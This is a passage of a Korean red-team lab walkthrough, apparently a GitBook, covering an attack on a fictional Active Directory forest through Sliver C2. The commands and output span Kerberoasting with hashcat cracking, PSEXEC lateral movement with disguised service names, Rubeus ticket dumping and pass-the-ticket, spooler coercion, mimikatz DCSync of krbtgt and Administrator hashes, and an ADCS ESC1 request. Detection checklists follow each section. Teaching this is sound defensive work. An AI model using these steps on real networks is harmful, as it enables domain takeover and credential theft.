<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2FJa6gXmhSJeB88mtRxQzg%2Fou.png?alt=media&amp;token=f1beddf1-c6ad-441f-b47f-638ecbe1383b" alt=""><figcaption></figcaption></figure>

위에서 살펴본 것과 같이 라쿤테크의 미국 지사는 특정 도시 및 주들을 대상으로 OU를 만들고, 그 아래에 각각 account, computers, groups 등의 OU를 넣는 형식으로 액티브 디렉토리 구조를 짰다. 장악한 JohnDoe.Smith 유저의 경우도 Distinguished Name이 `CN=JOHNDOE.SMITH,OU=ACCOUNTS,OU=HOUSTON,DC=US,DC=RT,DC=LOCAL` 로 나왔다.

## 우리 회사는

* 엔드포인트의 cmd, powershell, 및 C2 에이전트에서 일어나는 다음의 행위들을 탐지하고 방지할 수 있는가?
  * 커맨드라인 명령어를 이용한 정보 수집 행위 (whoami, ipconfig, netstat -abo, ps, 등)
  * C2 에이전트의 Fork & Run 스타일의 .NET 어셈블리를 활용한 메모리 기반의 툴 실행
  * C2 에이전트의 Beacon Object File 스타일의 툴 실행
* 도메인 컨트롤러단에서 랜덤한 엔드포인트가 "무거운" LDAP 쿼리를 날려 정보 수집하는 행위를 탐지하고 방지할 수 있는가?
* 넓은 범위의 포트 스캐닝 등을 탐지하고 방지할 수 있는가?
* 유저 행동 기반 탐지를 활용해 "일반적이지 않은" 네트워크 트래픽을 대량으로 발생시키는 엔드포인트, 서버, 및 유저를 특정하고 탐지할 수 있는가?

## 마치며&#x20;

정보 수집을 통해 현재 비컨이 어떤 맥락에서 실행중인지, 어떤 후속 공격을 진행해도 될지에 대한 인사이트를 얻었다. 또한, 도메인 정보 수집을 통해 현재 액티브 디렉토리 내의 위치와 앞으로의 대상에 대해서도 정보를 얻을 수 있었다.

이제 수집된 정보를 바탕으로 권한 상승 공격을 진행한다.


# 4. 권한 상승 - US

이번 섹션에서는 다음과 같은 주제들을 다룬다:

* 커버로스팅 공격

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2FjHtK1whqo0oKJCxAHc1e%2FAttackPath2-kerberoasting.drawio.png?alt=media&amp;token=dbfb2ee5-8042-4493-80fd-c6cc0d31f679" alt=""><figcaption></figcaption></figure>

블러드하운드 덤프를 뜬 뒤에 많은 것들이 가능 하지만, 살펴봐야할 것 들은:

* 현재 유저의 그룹 멤버쉽
* 현재 유저가 속한 그룹들의 DACL 여부
* 현재 유저의 로컬 관리자 권한 여부

들이 있다. 안타깝게도 johndoe.smith는 가장 낮은 권한의 `USHO-Marketing` 그룹 소속이였으며, 그 그룹을 포함한 모든 기본 그룹 `Users, Domain Users, Authenticated Users` 또한 별 다른 권한이 없었다. 블러드하운드를 돌렸을 때 `--stealth` 플래그를 줬고, 작전 보안을 위해 Sessions는 구하지 않았기 때문에 로컬 관리자 권한 또한 알 수가 없다.

일단은 johndoe.smith가 별다른 DACL이 없기 때문에, 권한 상승에 사용될 수 있는 커버로스팅 가능한 유저를 알아본다.

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2FN3Y49U3QcLYtPEcNDUP5%2F4-sf-mssql-svc.png?alt=media&amp;token=44b9c5fb-0958-44d9-a449-89c9d34a19ac" alt=""><figcaption></figcaption></figure>

`SF_MSSQL_SVC@us.rt.local` 유저가 `SFMSSQLSVC/sql01.us.rt.local:1433` SPN이 설정된 도메인 서비스 유저라는 것을 알아냈기 때문에, 해당 유저의 서비스 티켓(ST)을 받아온다. 탐지를 우회하기 위해 BOF(Beacon Object File)를 이용한다.

```
// BOF-Roast를 이용해 SF_MSSQL_SVC의 서비스티켓 받아오기 
sliver (TOUGH_BREADCRUMB) > bof-roast SFMSSQLSVC/sql01.us.rt.local:1433

[*] Got output:
[+] Target SPN: SFMSSQLSVC/sql01.us.rt.local:1433
[+] Got Ticket! Convert it with apreq2hashcat.pyYIIHJgYJKoZIhvcSAQICAQBuggcVMIIHEaADAgEFoQMCAQ6iBwMFACAAAACjggUyYYIFLjCCBSqgAwIBBaENGwtVUy5SVC5MT0
NBTKIvMC2gAwIBAqEmM < . . . 생략 . . . > 

// 크래킹 가능한 포멧으로 전환 
vim kerberoast.aprep
cat kerberoast.aprep | tr -d '\n' > kerberoast.aprep2
python3 apreq2hashcat.py kerberoast.aprep2 | tee kerberoast.hash

// Hashcat을 사용해 해시 크래킹 
└─# hashcat -a 0 -m 13100 kerberoast.hash /usr/share/wordlists/rockyou.txt             
hashcat (v6.2.6) starting

< . . . 생략 . . . > 
cb0af055bc10b819b35800ec0018ab193fa8657261422a3e35d57d0d:sql123
                                                          
Session..........: hashcat
Status...........: Cracked
```

커버로스팅이 다행히 정상적으로 진행됐고, `US\SF_MSSQLSVC:sql123` 이라는 계정 정보를 얻었다. 이제 SF\_MSSQL\_SVC 유저의 비밀번호가 맞는지 확인해본다.

```
sliver (TOUGH_BREADCRUMB) > winrm -- -i sql01.us.rt.local -u us.rt.local\\sf_mssql_svc -p 'sql123' -c whoami 

[+] Arguments processed
       hostname: sql01.us.rt.local
        command: whoami
       username: us.rt.local\sf_mssql_svc
       password: sql123

us\sf_mssql_svc
```

계정 정보를 확인하다 sql01.us.rt.local에 winrm까지 가능하다는 것을 알았다. 따라서 해당 계정은 sql01.us.rt.local에 로컬 관리자 권한이나, 최소한 `Remote Management Users` 권한을 갖고 있을 확률이 높아졌다.

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2FTMyk5kgTE2lKvxX8Jv6Q%2FAttackPath3-before-sql01.drawio.png?alt=media&amp;token=7a461de9-7cae-41e0-83f5-a0a83a448dae" alt=""><figcaption></figcaption></figure>

## 우리 회사는

* 커버로스팅 공격을 탐지하고 방지할 수 있는가?
* SPN 설정된 유저를 향해 RC4 암호화된 서비스 티켓을 요청하는 엔드포인트 및 유저를 탐지할 수 있는가?
* 커버로스팅에 취약한 SPN 설정된 서비스 계정을 사용하고 있지는 않은가?


# 5. 횡적 이동: USWKSTN01 -> SQL01

이번 섹션에서는 다음과 같은 주제들을 다룬다:

* 커버로스팅을 통해 탈취한 US\SF\_MSSQL\_SVC 계정의 권한
* SQL01.us.rt.local 서버 대상의 정보 수집 이후 횡적 이동
* 피벗 리스너와 SMB 에이전트의 활용
* SQL01에서의 권한 상승

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2FBUacbJuNxAzbDWkbZqiH%2FAttackPath4-sql01-lateralmovement.drawio.png?alt=media&amp;token=71a9ee89-a1a3-482a-b614-9be67231829d" alt=""><figcaption></figcaption></figure>

앞서 커버로스팅 공격을 통해 US\SF\_MSSQL\_SVC 유저의 계정 정보를 확보했다. 또한 WinRM을 통해 명령어 실행이 가능한 것으로 보아 최소 `Remote Management Users`, 최대 로컬 관리자 권한을 갖을 수 있다는 것 또한 확인했다. 해당 서비스 유저는 SQL01에 `SFMSSQLSVC/sql01.us.rt.local:1433` SPN을 갖고 있기 때문에, SQL 서버로의 횡적 이동을 시도해봐도 좋을 것 같다.

횡적 이동을 실행하기 전, 성공적인 횡적 이동을 하면 어떤 이득을 취할 수 있는지, 해당 호스트에 어떤 유저들이 세션을 구축하고 있는지 확인한다.

```
sliver (TOUGH_BREADCRUMB) > sa-regsession sql01.us.rt.local

[*] Got output:
[*] Querying registry on sql01.us.rt.local...

-----------Registry Session---------
UserSid: S-1-5-21-3171536543-709093172-2066445559-1857
Host: sql01.us.rt.local
---------End Registry Session-------
```

SID값이 나오게 되는데, 이를 블러드하운드에 넣어보면 Rahat.Kuma 라는 유저가 나온다. 해당 유저는 SuperUsers OU에 속해있고, ITAdmin 그룹에 속해있다.

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2FPRV2rD33FRnpGXkm8Y5t%2Fprivesc-sql01-rahat-kuma-bloodhound.png?alt=media&amp;token=1c33581b-ac44-48d1-8409-311c20e88c48" alt=""><figcaption></figcaption></figure>

유저를 장악한 뒤에 다시 한 번 블러드하운드를 돌려봐야겠지만, 일단은 SQL 서비스 계정에서 IT 관리자 계정까지 권한 상승을 할 수 있는 공격 경로가 보이는 것 같다.

그럼 이제 USWKSTN01에서 SQL01으로 횡적 이동을 한 다음, SQL01 호스트에서 Rahat.Kuma와 관련된 계정 정보를 획득하는 공격을 실행한다.

SQL 서버와 같이 백엔드 서버로의 횡적 이동은 몇 가지 유의해야 할 점이 있다:

* DB과 같은 백엔드 서버들은 인터넷이 차단된 망에서 운영되는 경우가 많다.
* 그렇기에 초기 침투와 같이 HTTP/S를 이용해 공격자 도메인으로 콜백하는 것은 실패할 확률이 높다.
* 따라서, SQL01로의 횡적 이동은 USWKSTN01 호스트에 Named Pipe를 이용한 Pivot (피벗) 리스너를 생성한 뒤, SQL01에서 USWKSTN01으로 콜백하는 피벗 에이전트를 이용한다.

먼저 USWKSTN01에서 피벗 리스너를 생성한다.

```
// Pivot 리스너를 위한 Interactive 
sliver (TOUGH_BREADCRUMB) > interactive

[*] Session 42ffc3a3 TOUGH_BREADCRUMB - tcp(127.0.0.1:38730)->2a06:98c0:3600::103 (uswkstn01) - windows/amd64 - Sun, 19 Jan 2025 02:08:38 UTC

sliver (TOUGH_BREADCRUMB) > use 42ffc3a3-0498-4954-91d1-c874017d8df3

// 피벗 리스너 생성 
sliver (TOUGH_BREADCRUMB) > pivots named-pipe --bind mojo.10968.11628.5896583801798593585 --allow-all

[*] Started named pipe pivot listener \\.\pipe\mojo.10968.11628.5896583801798593585 with id 4
```

피벗 리스너 생성 뒤, SF\_MSSQL\_SVC 유저의 로그온 세션을 만든 다음 피벗 에이전트를 PSEXEC를 통해 SQL01로 보내 세션을 구축한다.

```
// PSEXEC용 SF_MSSQL_SVC 유저 계정 정보를 이용한 로그온 세션 구축 
sliver (TOUGH_BREADCRUMB) > make-token -d us.rt.local -u sf_mssql_svc -p sql123

[*] Successfully impersonated us.rt.local\sf_mssql_svc. Use `rev2self` to revert to your previous token.

// 네임드파이프 에이전트 생성에 이용될 프로필 생성 
sliver (TOUGH_BREADCRUMB) > profiles new --format service -p 10.2.30.100/pipe/mojo.10968.11628.5896583801798593585 sql01-namedpipe

[*] Saved new implant profile sql01-namedpipe

// PSEXEC 실행, 세션 구축 
sliver (TOUGH_BREADCRUMB) > psexec -t 30 -p sql01-namedpipe -s MSSQL-OnlineUpdater -d "Update MSSQL service without restart" -b "C:\Program Files\Microsoft SQL Server\150\Tools\Binn" sql01.us.rt.local

[*] Sliver name for profile sql01-namedpipe: EXPLICIT_SILVER                                                                                  
[*] Uploaded service binary to \\sql01.us.rt.local\C$\program files\microsoft sql server\150\tools\binn\PROGRESS2.exe
[*] Waiting a bit for the file to be analyzed ...
[*] Successfully started service on sql01.us.rt.local (C:\Program Files\Microsoft SQL Server\150\Tools\Binn\PROGRESS2.exe)
[*] Successfully removed service MSSQL-OnlineUpdater on sql01.us.rt.local

[*] Session 566eb5b1 EXPLICIT_SILVER - tcp(127.0.0.1:51154)->2a06:98c0:3600::103->TOUGH_BREADCRUMB-> (sql01) - windows/amd64 - Sun, 19 Jan 2025 02:46:04 UTC
```

최종적으로 횡적 이동을 마치면 다음과 같은 상태가 된다.

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2FUyLhLKTAKORIqFCEfzK5%2FAttackPath4-sql01-lateralmovement.drawio.png?alt=media&amp;token=6464caeb-d012-4c60-96c7-d57f3952e7c7" alt=""><figcaption></figcaption></figure>

PSEXEC을 이용한 횡적 이동이였기 때문에 SYSTEM 권한으로 SQL01 서버에 접근했다.

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2Fn6zmjQPkUcam5APNQuLY%2F4-lateralmovement-session-info.png?alt=media&amp;token=a6a11b41-9a75-49e9-932a-b315cfd3ebbb" alt=""><figcaption></figcaption></figure>

## 우리 회사는

* PSEXEC 스타일의 SMB 서비스 바이너리를 이용한 횡적 이동을 탐지하고 방지할 수 있는가?
* 원격으로 레지스트리를 이용한 유저 세션 정보 수집을 탐지하고 방지할 수 있는가?
* 네임드 파이프를 이용한 호스트간 네트워크 트래픽 전송 및 수상한 네임드 파이프 이름 (예. 코발트스트라이크의 MSSE...)를 블랙리스트 처리 해놨는가?


# 6. 권한 상승 - SQL01

이번 섹션에서는 다음과 같은 주제들을 다룬다:

* Rubeus 난독화 및 인-프로세스 .NET 어셈블리 실행
* 계정 덤프 - TGT 덤프
* Pass-the-Ticket

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2F6iH2vtOPcQ4iZ3mJaEMk%2FAttackPath5-SQL01-TGTDump.drawio.png?alt=media&amp;token=bcac7155-7165-43fb-8439-bd67e7e24256" alt=""><figcaption></figcaption></figure>

SQL01 세션에서 다시 한 번 Rahat.Kuma 유저의 세션을 확인한다.

```
sliver (EXPLICIT_SILVER) > sa-enum-local-sessions

[*] Successfully executed sa-enum-local-sessions (coff-loader)
[*] Got output:
Enumerating sessions for local system:
  - [1] Console: SQL01\localuser
  - [2] (Disconnected): US\Administrator
  - [3] RDP-Tcp#6: US\Rahat.Kuma
```

이미 RDP 세션이 구축됐으니, 크레덴셜 덤핑(Credential Dumping)을 진행한다. LSASS 메모리 덤프 후 NT 해시를 획득하는 mimikatz 스타일의 크레덴셜 덤핑은 탐지가 너무 많이 되기 때문에, 굳이 진행하지 않는다. 대신, Rubeus를 이용한 TGT 덤프 후 Pass-the-Ticket을 이용한다.

SharpHound와 마찬가지로 Rubeus 또한 수동 난독화를 한 뒤 인-프로세스에서 사용한다.

먼저 Rubeus를 이용해 Rahat.Kuma의 TGT가 만료되지 않고 살아있는지 확인한다.

```
sliver (CHRONIC_MORTGAGE) > inline-execute-assembly /root/Rubeus.exe "triage"

Action: Triage Kerberos Tickets (All Users)

[*] Current LUID    : 0x3e7

-------------------------------------------------------------------------------------------------------- 
| LUID      | UserName                    | Service                            | EndTime               |
-------------------------------------------------------------------------------------------------------- 
| 0x12cb0a8 | Rahat.Kuma @ US.RT.LOCAL    | krbtgt/US.RT.LOCAL                 | 1/19/2025 9:05:26 PM  |
| 0x12091bb | Rahat.Kuma @ US.RT.LOCAL    | krbtgt/US.RT.LOCAL                 | 1/19/2025 10:33:46 PM |
| 0x12091bb | Rahat.Kuma @ US.RT.LOCAL    | LDAP/udc01.us.rt.local/us.rt.local | 1/19/2025 10:33:46 PM |
```

현재 시간 기준 아직 3시간 정도 사용할 수 있기 때문에, 덤프한다.

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2F2sjJCBVW8RD0NeaVmWGS%2F4-lateralmovement-rahat-kuma-tgt.png?alt=media&amp;token=963ee76d-9d3d-43a9-9c5e-c60f048e2834" alt=""><figcaption></figcaption></figure>

덤프한 TGT는 USWKSTN01에 Pass-the-Ticket을 이용해 활용한다.

```
sliver (TOUGH_BREADCRUMB) > inline-execute-assembly /root/Rubeus.exe "ptt /ticket:doIFmDCCBZSgAwIBBaEDAg <...생략...> 

[*] Action: Import Ticket
[+] Ticket successfully imported!

sliver (TOUGH_BREADCRUMB) > rubeus -- "triage"

[*] Current LUID    : 0x16c077f9

-------------------------------------------------------------------------------------- 
| LUID       | UserName                 | Service            | EndTime               |
-------------------------------------------------------------------------------------- 
| 0x16c077f9 | Rahat.Kuma @ US.RT.LOCAL | krbtgt/US.RT.LOCAL | 1/19/2025 10:33:46 PM |
--------------------------------------------------------------------------------------

```

## 마치며&#x20;

SQL01의 권한 상승을 통해 레드라쿤은 결국 SQL01에서 Rahat.Kuma 라는 IT 관리자의 TGT를 획득했다. 해당 유저는 도메인 관리자 소속까지는 아니지만, Tier0에 속하는 중요한 유저로서, 모든 서버에 로컬 관리자 권한을 갖고 있는 유저다.

이제 Rahat.Kuma를 이용해 추가 서버들을 장악해 도메인 장악까지 진행해본다.

## 우리 회사는

* 메모리상에서 Fork & Run 형태로 실행되는 .NET 어셈블리들을 탐지하고 방지할 수 있는가?
* LSASS 프로세스에 `LsaCallAuthenticationPackage` 등의 winapi를 이용해 TGT 덤프 하는 행위들을 찾아낼 수 있는가?
* rc4\_hmac 등의 오래된 해시 알고리즘을 바탕으로 티켓을 요청하는 행위에 대한 탐지가 있는가?


# 7. 도메인 장악 WEB01

이번 섹션에서는 다음과 같은 주제들을 다룬다:

* SharpHound 블러드하운드 정보수집 2
* Unconstrained Delegation - 강제 인증 + TGT 덤프
* 머신 계정을 이용한 DCSync

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2F4p6gnNfrFDKiz7jVebxW%2FAttackPath6-UnconstrainedDelegation-WEB01.drawio.png?alt=media&amp;token=46168b89-8f37-4408-9c47-0903c25d238c" alt=""><figcaption></figcaption></figure>

장악한 Rahat.Kuma 유저를 이용해 USWKSTN01에서 다시 한 번 블러드하운드를 실행한다.

```
sliver (TOUGH_BREADCRUMB) > inline-execute-assembly /root/funtimes.exe "-c All,Session --forcesecureldap --zipfilename 
crashdump2 --zippassword test --distinguishedname DC=us,DC=rt,DC=local"

2025-01-19T19:18:48.9070479+09:00|INFORMATION|Status: 621 objects finished (+621 31.05)/s -- Using 133 MB RAM
2025-01-19T19:18:48.9070479+09:00|INFORMATION|Enumeration finished in 00:00:20.7194148
2025-01-19T19:18:48.9502136+09:00|INFORMATION|Saving cache with stats: 33 ID to type mappings.
 7 name to SID mappings.
 4 machine sid mappings.
 10 sid to domain mappings.
 1 global catalog mappings.
2025-01-19T19:18:48.9693593+09:00|INFORMATION|SharpHound Enumeration Completed at 7:18 PM on 1/19/2025! Happy Graphing!

[+] inlineExecute-Assembly Finished
```

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2FVSoX4Cai8j4lSuHW5xlu%2F5-bh-rahat-to-domain.png?alt=media&amp;token=3702978b-3c3a-4fe2-acdf-ea9727c16dfc" alt=""><figcaption></figcaption></figure>

확인해보면 Rahat.Kuma가 ITAdmins 그룹 소속이고, 이 그룹은 거의 모든 서버에 로컬 관리자 권한을 갖고 있다. 그 중 WEB01 서버에는 Unconstrained Delegation 설정이 되어 있다. Unconstrained Delegation은 설계상 커버로스 6단계 인증 중 유저의 TGT를 받아올 수 있다.

유저가 Unconstrained Delegation 설정되어 있는 서버에 TGS-REQ을 통해 서비스 티켓을 요청할 때, 이 요청을 받은 도메인 컨트롤러는 TGS-REQ안의 SPN을 본 뒤, Unconstrained Delegation 설정되어 있는 서버라는 것을 확인 한뒤, 서비스 티켓을 발급할 때 유저의 TGT를 ST안에 넣어서 돌려준다. 이 TGT는 추후 Unconstrained Delegation 서버가 위임을 할 때 사용한다.

Unconstrained Delegation을 악용하는 방법에는 여러가지가 있지만, 강제 인증(Authentication Coercion)을 이용한 도메인 컨트롤러의 머신 계정 TGT를 훔쳐오는 방법이 가장 효과적이다. 바로 DC의 TGT를 이용해 DCSync를 진행할 수 있기 때문이다.

먼저 WEB01으로 횡적 이동을 한다. WEB01은 웹 서버 특성상 Outbound 웹 트래픽이 가능할 수 있겠지만, 그래도 서버들 간의 SMB 트래픽에 숨어들기 위해 Named Pipe + SMB로 이동한다.

```
sliver (TOUGH_BREADCRUMB) > pivots named-pipe --bind mojo.10968.11628.5896583801798593584 --allow-all

[*] Started named pipe pivot listener \\.\pipe\mojo.10968.11628.5896583801798593584 with id 2

sliver (TOUGH_BREADCRUMB) > profiles new --format service -p 10.2.30.100/pipe/mojo.10968.11628.5896583801798593584 uswkstn01-web01

[*] Saved new implant profile uswkstn01-web01

sliver (TOUGH_BREADCRUMB) > psexec -t 30 -p uswkstn01-web01 -s IIS-OnlineUpdater -d "Update IIS service without restart" web01.us.rt.local

[*] No builds found for profile uswkstn01-web01, generating a new one
[*] Sliver name for profile uswkstn01-web01: MULTIPLE_REPUTATION
[*] Uploaded service binary to \\web01.us.rt.local\C$\windows\temp\b0_publicity_c.exe
[*] Waiting a bit for the file to be analyzed ...
[*] Successfully started service on web01.us.rt.local (c:\windows\temp\b0_publicity_c.exe)
[*] Session 3730afb5 MULTIPLE_REPUTATION - tcp(127.0.0.1:50290)->2a06:98c0:3600::103->TOUGH_BREADCRUMB-> (web01) - windows/amd64 - Sun, 19 Jan 2025 10:48:17 UTC

[*] Successfully removed service IIS-OnlineUpdater on web01.us.rt.local
```

TGT 덤핑은 대부분 Rubeus monitor + 강제 인증으로 진행하는데, 안타깝게도 Sliver에서 Rubeus monitor 명령어를 돌리면 버그로 인해 해당 작업이 끝나지 않는 경우가 생긴다. 이런 경우에는 강제 인증을 먼저 진행하고, 곧바로 10\~20초 내에 바로 rubeus dump 명령어를 통해 덤프한다.

```
sliver (MULTIPLE_REPUTATION) > inline-execute-assembly /root/SharpSpoolTrigger.exe "udc01.us.rt.local web01.us.rt.local"

[*] Successfully executed inline-execute-assembly (coff-loader)
[*] Got output:

NdrClientCall2x64
[-]RpcRemoteFindFirstPrinterChangeNotificationEx status: 6

[+] inlineExecute-Assembly Finished

sliver (MULTIPLE_REPUTATION) > rubeus -- "dump /user:UDC01$ /service:krbtgt /nowrap"

    ServiceName              :  krbtgt/US.RT.LOCAL
    ServiceRealm             :  US.RT.LOCAL
    UserName                 :  UDC01$ (NT_PRINCIPAL)
    UserRealm                :  US.RT.LOCAL
    StartTime                :  1/19/2025 7:10:29 PM
    EndTime                  :  1/20/2025 5:10:29 AM
    RenewTill                :  1/26/2025 7:10:29 PM
    Flags                    :  name_canonicalize, pre_authent, renewable, forwarded, forwardable
    KeyType                  :  aes256_cts_hmac_sha1
    Base64(key)              :  xluG04pzAE/2nnclISElb+evLXxwfvI4aQEyuwpxRPg=
    Base64EncodedTicket   :

      doIFgDCCBXygAwIBBaEDAgEWooIEijCCBIZhgg < ... 생략 ... >
```

이제 도메인 컨트롤러의 TGT를 획득했으니, 이를 이용해 DCSync로 US 도메인 전체를 장악한다.

```
// 현재 세션에 US 도메인 컨트롤러의 TGT 삽입 
sliver (TOUGH_BREADCRUMB) > rubeus --in-process -- "ptt /ticket:doIFgDCCBXygAwIBBaEDAgEWooIEijCCBIZhgg < ... 생략 ... >  

// DCSync를 이용해 KRBTGT 장악 
sliver (TOUGH_BREADCRUMB) > mimikatz "\"lsadump::dcsync /domain:us.rt.local /user:US\\krbtgt\""

Credentials:                                                                                                           
  Hash NTLM: bbcf6efd0bfe789536745a977499154a
    ntlm- 0: bbcf6efd0bfe789536745a977499154a
    lm  - 0: b7eaaefa4e82e6297c3289f706301b14
    
* Primary:Kerberos-Newer-Keys *         
    Default Salt : US.RT.LOCALkrbtgt    
    Default Iterations : 4096           
    Credentials                                            
      aes256_hmac       (4096) : 65cc3cd6251d871a4dd13c5964fa64a153607a21aabe2254c80f31ca11b6cf2f
      aes128_hmac       (4096) : 8a214f2fe3d55d7ab323ae42cb169f09

// DCSync를 이용해 Administrator 장악 
sliver (TOUGH_BREADCRUMB) > mimikatz "\"lsadump::dcsync /domain:us.rt.local /user:US\\Administrator\""

SAM Username         : Administrator
Credentials:
  Hash NTLM: 8846f7eaee8fb117ad06bdd830b7586c
* Primary:Kerberos-Newer-Keys *
    Default Salt : WIN-2EBRD4U9LK0Administrator
    Default Iterations : 4096 
    Credentials
      aes256_hmac       (4096) : c46d0bfa548523c3df83032ccaf86813a56955b0d7bd0a9345399c53fe263c78
```

Administrator의 해시를 크래킹 해보면 비밀번호가 나온다.

```
└─# hashcat -a 0 -m 1000 usadministrator.nt /usr/share/wordlists/rockyou.txt --show

8846f7eaee8fb117ad06bdd830b7586c:password
```

모든 공격이 끝나게 되면 아래와 같은 다이어그램이 나온다. DC 머신 계정의 TGT를 획득해 도메인을 향한 DCSync를 할 수 있고, 이를 통해 도메인 전체를 장악할 수 있게 된다.

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2FmSICawzwrvUULlEziM52%2FAttackPath7-DCSync-WEB01.drawio.png?alt=media&amp;token=c516d832-35b5-4a66-ac11-c9f536b14cf8" alt=""><figcaption></figcaption></figure>

## 우리 회사는

* Unconstrained Delegation 서버를 운영하고 있는가? 있다면 망 분리, 또는 모니터링이 잘 되고 있는가?
* 도메인 컨트롤러를 향해 일어나는 강제 인증 (Print Spooler, Petitpotam, DFSCoerce, Shadowcoerce 등...)을 탐지할 수 있는가?
* DCSync가 도메인 컨트롤러가 아닌 호스트에서 도메인 컨트롤러의 머신 계정을 사용해 일어날 때, 이를 탐지할 수 있는가?


# 8. US -> RT 장악

이번 섹션에서는 다음과 같은 주제들을 다룬다:

* Cross-Domain BloodHound
* ADCS ESC1 권한 상승
* PKINIT 인증

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2FPTvubBGW9XUf5F8J5L0x%2FAttackPath8-Compromising-RT.drawio.png?alt=media&amp;token=36443c40-1d9b-48a4-ae31-9ad53fe7c609" alt=""><figcaption></figcaption></figure>

US 도메인을 장악했으니 이제 us.rt.local의 부모 도메인이자 Forest Root Domain인 rt.local을 장악할 차례다. 블러드하운드를 RT에 날려야하는데, US의 SQL01 서버에서 RT로 LDAP 트래픽을 많이 보내는 것은 수상하다. LDAP과 도메인 Replication 자체가 도메인 컨트롤러들끼리 정보를 주고 받기 위해 만들어진 것이니, US의 도메인 컨트롤러인 UDC01 까지 횡적 이동을 한 뒤 RT를 향해 블러드하운드를 실행한다.

```
sliver (TOUGH_BREADCRUMB) > inline-execute-assembly /root/funtimes.exe "-c All,Session -d rt.local --forcesecureldap --
zipfilename crashdump --zippassword test --distinguishedname DC=rt,DC=local"
```

UDC01 횡적 이동 후 SharpHound를 실행하고, 이를 블러드하운드에 집어넣으면 다음과 같은 공격 경로가 나온다.

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2FSa7Ndm3sVaTMGMeEL0Wc%2F6-bh-adcs.png?alt=media&amp;token=8a7dbe10-49a3-4093-8ce3-8fe40e0acc5c" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1805673931-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtMFEdQUk1veqYea72hvC%2Fuploads%2FnjcWUaqHPGP0AEMcNei8%2F6-bh-adcs2.png?alt=media&amp;token=af982ef4-1d2c-41df-8010-fd7022127900" alt=""><figcaption></figcaption></figure>

블러드하운드 결과 US 도메인의 도메인 관리자들은 RT 도메인에 ESC1 공격을 진행할 수 있다. Forest Code Signing 인증서 양식이 ESC1에 취약한 상태다. 현재 장악한 US의 도메인 관리자들이 해당 인증서 양식에 Enroll 할 수 있기 때문에, 공격 가능한 상태다.

확실하게 알아보기 위해 UDC01에서 실행중인 세션에서 BOF를 통해 다시 한 번 확인한다.

```
sliver (FULL_SCHNITZEL) > sa-adcs-enum

  Enterprise CA Name        : rt-CA
  DNS Hostname              : ca01.rt.local
  
  [*] Found 19 templates on the ca                                                                                          
    Template Name           : ForestCodeSigning                                                                        
    Friendly Name           : Forest Code Signing
    Name Flags              : ENROLLEE_SUPPLIES_SUBJECT                        
    Extended Key Usage      : Code Signing, Client Authentication                                                      
    Permissions             :                                                                                          
      Owner                 : rt\Administrator                                                                         
                              S-1-5-21-1952929721-2588395256-1898831064-500
                              
        Principal           : US\Domain Admins                                                                         
          Access mask       : 00000100                                                                                 
          Flags             : 00000001                                                                                 
                              Enrollment Rights

```

ADCS 정보 수집 결과 Forest Code Signing이라는 템플릿에는 US\Domain Admins 그룹이 Enroll 할 수 있다. 해당 양식은 Client Authentication에 사용되기 때문에 도메인 컨트롤러가 허용 한다면 PKINIT에 사용될 수 있고, ENROLLEE\_SUPPLIES\_SUBJECT 설정이 되어 있기 때문에 ESC1 공격에 취약한 상태다.

Impersonate를 이용해 UDC01에 로그인 해 있던 도메인 관리자의 액세스 토큰을 훔쳐온 뒤, Certify를 이용해 ESC1 공격을 실행한다. 인증서 양식에 Enroll은 US\Administrator로 하되, SAN에다가는 부모 도메인의 RT\Administrator 도메인 관리자를 집어넣은 인증서를 발급받는다.

```
// impersonate 이용해 도메인 관리자 맥락 획득 
sliver (FULL_SCHNITZEL) > impersonate US\\Administrator         

[*] Successfully impersonated US\Administrator 

// Certify를 이용해 ESC1 공격 
sliver (FULL_SCHNITZEL) > certify -- "request /ca:ca01.rt.local\rt-CA /template:ForestCodeSigning /altname:rt.local\Administrator"

[*] Current user context    : US\Administrator
[*] No subject name specified, using current context as subject.

[*] Template                : ForestCodeSigning
[*] Subject                 : CN=Administrator, CN=Users, DC=us, DC=rt, DC=local
[*] AltName                 : rt.local\Administrator

[*] Certificate Authority   : ca01.rt.local\rt-CA

